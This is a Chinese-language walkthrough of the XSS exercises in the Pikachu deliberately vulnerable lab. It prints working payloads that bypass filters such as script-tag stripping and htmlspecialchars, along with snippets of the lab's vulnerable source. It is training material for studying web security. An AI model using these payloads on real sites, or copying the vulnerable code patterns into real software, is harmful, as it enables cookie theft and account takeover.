Pikachu Vul
XSS
1.反射型XSS(get)
隨便輸入,可以發(fā)現(xiàn)沒(méi)有任何過(guò)濾,只是限制了輸入字符的長(zhǎng)度,F(xiàn)12修改一下即可
2.反射型XSS(post)
可以看到是一個(gè)用戶(hù)登陸窗口,username和pwd都不知道,看看提示:
為了能夠讓你練習(xí)xss獲取cookie,我們還是登陸一下,賬號(hào)admin/123456
登上去以后發(fā)現(xiàn)還是沒(méi)有任何過(guò)濾,直接構(gòu)造payload:
<script>alert(document.cookie)</script>
3.存儲(chǔ)型xss
沒(méi)過(guò)濾,直接搞
4.DOM型XSS
初步觀察,點(diǎn)擊 click me! 后會(huì)出現(xiàn) what do you see? 的鏈接按鈕,其指向是 當(dāng)前目錄/you_input 審查元素時(shí)發(fā)現(xiàn)onclick后會(huì)執(zhí)行函數(shù) domxss() ,其作用是讀取input的值并將其拼接到新創(chuàng)建的link節(jié)點(diǎn)中,源碼如下:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
5.DOM型xss-s
和4同理,直接搞
6.xss之盲打
沒(méi)有任何過(guò)濾,提交以后訪問(wèn) /admin.php 用戶(hù)名admin,密碼123456,打開(kāi)就彈窗。。。
7.xss之過(guò)濾
說(shuō)是有過(guò)濾,隨便輸測(cè)試一下:
<h1>im a lil horny.</h1>
成功了,
試試
<script>alert(/xss/)</script>
可以看到被過(guò)濾了,換個(gè)輪子:
<img src=0 onerror="alert(document.cookie)">
成功彈窗了...看下過(guò)濾語(yǔ)句:
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']); //使用正則將 <script 替換為空
8.xss之htmlspecialchars
審查元素后發(fā)現(xiàn)輸入的內(nèi)容是被拼接在<a href ="輸入的內(nèi)容">中
故構(gòu)造:
"><img src=0 onerror="alert(/xss/)">
沒(méi)有作用,經(jīng)過(guò)了過(guò)濾。
看下源碼:
$message=htmlspecialchars($_GET['message'])
這里就要說(shuō)htmlspecialchars這個(gè)函數(shù)的作用了:
htmlspecialchars(string,flags,character-set,double_encode)
該函數(shù)把預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體
預(yù)定義的字符是 & " ' < > 這五個(gè),即轉(zhuǎn)化為 &#xxx的形式
關(guān)于flags:默認(rèn)情況下為只過(guò)濾雙引號(hào),若設(shè)置為ENT_QUOTES則單雙引號(hào)均被過(guò)濾
明白了htmlspecial的作用,可以看到本題中未過(guò)濾單引號(hào),故輸入 'gggg'gggg'
返回的DOM為
<a href="" ggg'ggg''="">'ggg'ggg'</a>
<!--可以看到最前面的'被當(dāng)作"閉合了href屬性,語(yǔ)句中和語(yǔ)句后的單引號(hào)沒(méi)有受到影響-->
<!--后來(lái)才知道輸入的單引號(hào)沒(méi)有被過(guò)濾的話,經(jīng)過(guò)htmlspecialchars后拼接到html語(yǔ)句中會(huì)自動(dòng)換成雙引號(hào)-->
現(xiàn)在可以開(kāi)始造輪子:
' onclick='alert(document.cookie)'
成功彈出Cookie,再次審查元素拼接我們輸入之后的HTML:
<a href="" onclick="alert(document.cookie)" '="">' onclick='alert(document.cookie)'</a>
9.xss之href輸出
測(cè)試:
' onclick='alert(/xss/)'
審查返回的元素發(fā)現(xiàn)所有字符都被轉(zhuǎn)化為HTML實(shí)體了,包括單引號(hào)。
但由于輸入的url拼接在 <a href='輸入的內(nèi)容'>屬性中,可以使用javascript語(yǔ)法來(lái)造輪子:
Javascript:alert(document.cookie)
如果沒(méi)有限制的話可以用來(lái)執(zhí)行遠(yuǎn)程JS
10.xss之js輸出
測(cè)試輸入 <123> 審查元素可以發(fā)現(xiàn)如下代碼:
<script>
$ms='<123>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實(shí)厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無(wú)論如何不要放棄心中所愛(ài)..')
}
}
</script>
輸入被拼接到了腳本中,嘗試閉合語(yǔ)句然后添加自己的語(yǔ)句上去:
';alert(document.cookie)//
成功彈出cookie
這里將輸入動(dòng)態(tài)的生成到了js中,形成xss,javascript里面是不會(huì)對(duì)tag和字符實(shí)體進(jìn)行解釋的.